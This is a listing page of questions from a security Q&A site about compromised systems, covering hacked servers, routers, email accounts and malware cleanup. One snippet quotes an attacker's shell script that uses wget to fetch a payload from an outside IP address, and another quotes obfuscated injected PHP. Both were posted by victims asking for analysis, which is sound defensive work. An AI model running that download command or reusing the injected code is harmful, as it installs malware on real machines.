Dealing with a system compromise: your defenses failed, now what?

learn more… | top users | synonyms

1
vote
1answer
51 views

Are there any vulnerability differences between real-time systems and non-real-time systems? [closed]

Are there any fundamental vulnerability peculiarities unique to real-time systems? Are they impervious to some vulnerabilities, due to their speed? Here, real-time system refers to typical usage ...
3
votes
1answer
157 views

How did hackers compromise my EC2 instance?

My EC2 instance was hacked recently. It doesn't really matter as I'm just starting my website and there was no sensitive information on my server yet, but I do plan for there to be in the future. I am ...
4
votes
1answer
130 views

Is it unsafe to restore backed up data from Google servers?

I have an Android smartphone that I don't trust. It has an old version of Android and has been vulnerable to Stagefright and a host of a hundred other vulnerabilities for months. Although there is no ...
1
vote
4answers
274 views

My email hacked

Someone has definitely gained access to two of my alternate emails. I know this by looking at the login activity. By looking at the email logs I discovered that the IP that is always gaining entry to ...
0
votes
2answers
53 views

Is there a full-disk-encryption OR file-encryption solution where a trojan can NOT extract the secret key (e.g. from RAM)?

Is there a full-disk-encryption OR single-file-encryption solution like an operating system or a combination of devices or services ... that make sure that the master-decryption-key can NOT be ...
29
votes
12answers
4k views

Is there a secure way to transfer data outside the Internet?

Since, recently, it has been proven that transferring data through the usb port is fundamentally flawed, I'm wondering if there are 100% secure ways to transfer data without using the Internet. ...
0
votes
2answers
191 views

How to know if a host has been compromised and re-secure it again? (particular case of a raspberry) [duplicate]

I'm running a raspberry PI and I've accidentally left the 22 port open to it from a public IP for about 24 hours. Raspberries' raspbian distro comes by default with a "pi" user and "raspberry" ...
-1
votes
1answer
392 views

Header.php keeps changing with JavaScript code in WordPress [duplicate]

I observed that my post on the blog takes too much time to load and I started to try finding out the issues behind it. I found there's a JavaScript code injected in header.php here: <?php ...
5
votes
1answer
163 views

My dlink router seems to be compromised

By chance I read today about this huge vulnerability regarding my router Dlink DIR-600. ( http://www.s3cur1ty.de/m1adv2013-003 ) Just out of curiosity about what I would find, I tried to send some ...
0
votes
1answer
414 views

Command & Control Server List [duplicate]

I recently got an email from my ISP saying that they'd detected traffic to a known Command & Control server from my home. Boo. I'm sure this probably means one of our computers has some awful ...
2
votes
1answer
165 views

Any real-world examples of root certificate store compromises?

Apart from the infamous Superfish/Lenovo case this year, are there any other known cases of a malicious root certificate being installed on a target machine to allow transparent MITM attacks, whether ...
1
vote
0answers
153 views

My private router “Technicolor TC7200k” was hacked. Need urgent advice, sensitive information was stolen [closed]

My colleague (and or my company) has hacked my home router and gained access to all my internet whereabouts. The router is a "Technicolor 7200k". How I found out about this does not matter at this ...
1
vote
1answer
64 views

SOP for the CERT in case of hack activity [closed]

I work at a University in the Information Systems Department and recently one of the web server was hacked. the hacker deleted certain databases and few websites were down. In lieu to such events ...
2
votes
2answers
294 views

exploiting setuid and setgid bit

I was reading material on secure coding and at many places it is mentioned not to use setuid and setgid bits for privilege escalation. These a vulnerable and can lead to security issues. Instead we ...
6
votes
2answers
547 views

How do compilers detect buffer overflow?

I just started researching about security at the systems level and challenges, especially with respect to low level languages such as C/C++ and Objective-C. I have understood buffer overflow and how ...
2
votes
1answer
330 views

Need help deobfuscating malicious PHP

Recently I had a shared hosting server that was hacked; the following line of code was injected at the top of every PHP file on the server: <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { ...
14
votes
1answer
445 views

Should a server be considered compromised simply because a port was open?

Earlier today I received a notification of a security incident at Mandrill. At first I was concerned, but then after I dove into the details I became confused as to why they considered this noteworthy ...
1
vote
0answers
418 views

Indicator of Compromise Scanners IOC [closed]

I am looking for a scanner that can look for indicator of compromise. Have research some products in the market that could do this, for e.g. Fireeye HX series. However these products seems to be very ...
3
votes
1answer
282 views

Indicators of Compromise

Just to get an understanding of how indicators of compromise works. Take For example, in this article, the SMB tool. There is a MD5 hash for it. So is my firewalls or IDS supposed to be able to detect ...
5
votes
1answer
187 views

Is there a “security fail forum / website” with lessons learned?

I have done some searching, and cannot seem to find this. Does anyone know of a "security fail forum" that lists embarrassing and / or damaging results from lack of security practices? I would like ...
5
votes
2answers
1k views

How do I know my tools aren't compromised? [closed]

After reading different articles, most notably/concerningly: If the NSA has been hacking everything, how has nobody seen them coming? Ken Thompson's Hack (more the concept than specifics) I am ...
3
votes
0answers
103 views

Who is responsible for a compromised computer? [closed]

In light of the recent public hacks on public systems, is there any culpability for the owner of a compromised system? Two examples: The owner is a large public company that leaks sensitive ...
0
votes
2answers
288 views

Passport information compromised [closed]

I still have my passport in hand but my purse was stolen with all my passport information and passwords with security questions and answers in it. Should I get a new passport or since I still have my ...
64
votes
7answers
22k views

Is it possible the person sitting across from me at Starbucks was trying to hack my laptop?

I was using my laptop at a Starbucks on a table, and a person was using a laptop on the same table across from me, a couple seats to my side. He flicked some plastic thing across the table towards my ...
1
vote
2answers
144 views

Best practices for working with a new computer

What steps can I take to detect if a brand new computer has been compromised? Would it take an actor with significant resources to compromise a system and still have it appear to start the standard ...
3
votes
1answer
142 views

Freezing creates unusual pattern in kern.log

My server freezed a few days ago. After restarting I immediately checked the logs and the only trace I saw were some dots in the kern.log. To my surprise, a day or two later these dots disappeared ...
1
vote
1answer
134 views

using multiple Firefox profiles to increase security

I am wondering whether it would increase security in any significant way, if I would use two separate Firefox profiles, one for normal browsing and the other for private/secure websites, such as my ...
0
votes
2answers
778 views

Is possible to be hacked remotely? [closed]

I am a little bit afraid about remote hacking, since I'm using a Windows 7. I see what a hacker can do if he exploits the DCOM vulnerability in Windows XP, but does this sort of exploit exist on ...
0
votes
1answer
59 views

OS (or platform) agnostic metrics to understand if a system is compromised?

For Windows-based systems, I have seen that changes to the Registry or System Directories are some of the things which are used to track if a machine has been compromised. Similar things must exist ...
0
votes
1answer
287 views

How compromised should I assume my computer is?

I had turned ssh on a while ago to do some remote work. I was just looking over some netstat info when I noticed someone had established an ssh session with me D: I turned ssh off immediately and ...
-1
votes
1answer
116 views

Hash leaked online

Recently I Googled the email address of one of my friends, as I was just curious of what would come up. Lo and behold, he saw what presumably is his Gmail hash. It is part of a list of 10,170 email ...
27
votes
4answers
4k views

A tiny version of wget (51 bytes?)

On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and: This DVR ...
2
votes
3answers
901 views

Digital Ocean “Droplet” allgedly compromised for trivial, unpublicized website. Should I be worried abouty my own machine?

I got a message from D.O. about my Droplet saying they shut it down because there was a lot of outgoing traffic that looked like an attack. The site I had on that server was not very known at all. ...
7
votes
3answers
208 views

Server Infection: post-cleanup best practices

I've read through How do I deal with a compromised server? and have followed the steps to cleaning-up/mitigating any future damage. I'm just wondering if there are any post-clean up steps that are ...
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
8
votes
5answers
2k views

Forensic research: What OS to use [closed]

I have been given an assignment from my school, in wich I have been given a Virtual image of a compromised system. The first thing I need to do is setup a environment to wich we can mount the image. I ...
2
votes
2answers
998 views

Is my computer trying to download something malicious from Dropbox?

My wife's computer was recently compromised and I have tried to clean it. I installed Microsoft Network Monitor to see if there was any unexplained internet traffic and I noticed a connection to ...
2
votes
1answer
684 views

For remotely unlocking LUKS volumes via SSH, how can I verify integrity before sending passphrase?

Although this is closely related to the recently closed question Evil maids in the server room [closed], I believe that it's more answerable. I'd like to unlock LUKS volumes on remotely hosted ...
-1
votes
3answers
415 views

What kind of software can be used to remove Rootkit.Sirefef.Gen? [closed]

My System has the rootkit Rootkit.Sirefef.Gen. I would like to know how I can remove this rootkit.
0
votes
1answer
392 views

Have there been any instances of malware in custom ROMs for Android?

Have there been any instances of malware or spyware packaged in custom ROMs, for example a malicious email app pre-installed that records your server IMAP username and password and forwards it to a ...
-1
votes
1answer
1k views

Afraid about SSH on my Linux system

I've checked my Linux server (Centos 6) with rkhunter. I found the following in rkhunter log [14:38:54] Checking if SSH protocol v1 is allowed [ Warning ] [14:38:54] Warning: The SSH ...
-4
votes
5answers
2k views

Google Calendar has events that I didn't create and it's not shared

This has been rewritten because at first I thought this may be an accident but now it’s clear there’s a security compromise. In my Google Calendar I noticed an event that occurred each day from ...
6
votes
2answers
551 views

What does “Change your password everywhere else” e-mail from compromised service mean?

I've recieved an e-mail from ubuntuforums.org a couple of hours ago: [...] the attacker has gained access to read your username, email address and an encrypted copy of your password from the forum ...
95
votes
5answers
8k views

How do I deal with a compromised server?

I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", ...
92
votes
11answers
7k views

How do you explain the necessity of “nuke it from orbit” to management and users?

When a machine has been infected with malware, most of us here immediately identify the appropriate action as "nuke it from orbit" - i.e. wipe the system and start over. Unfortunately, this is often ...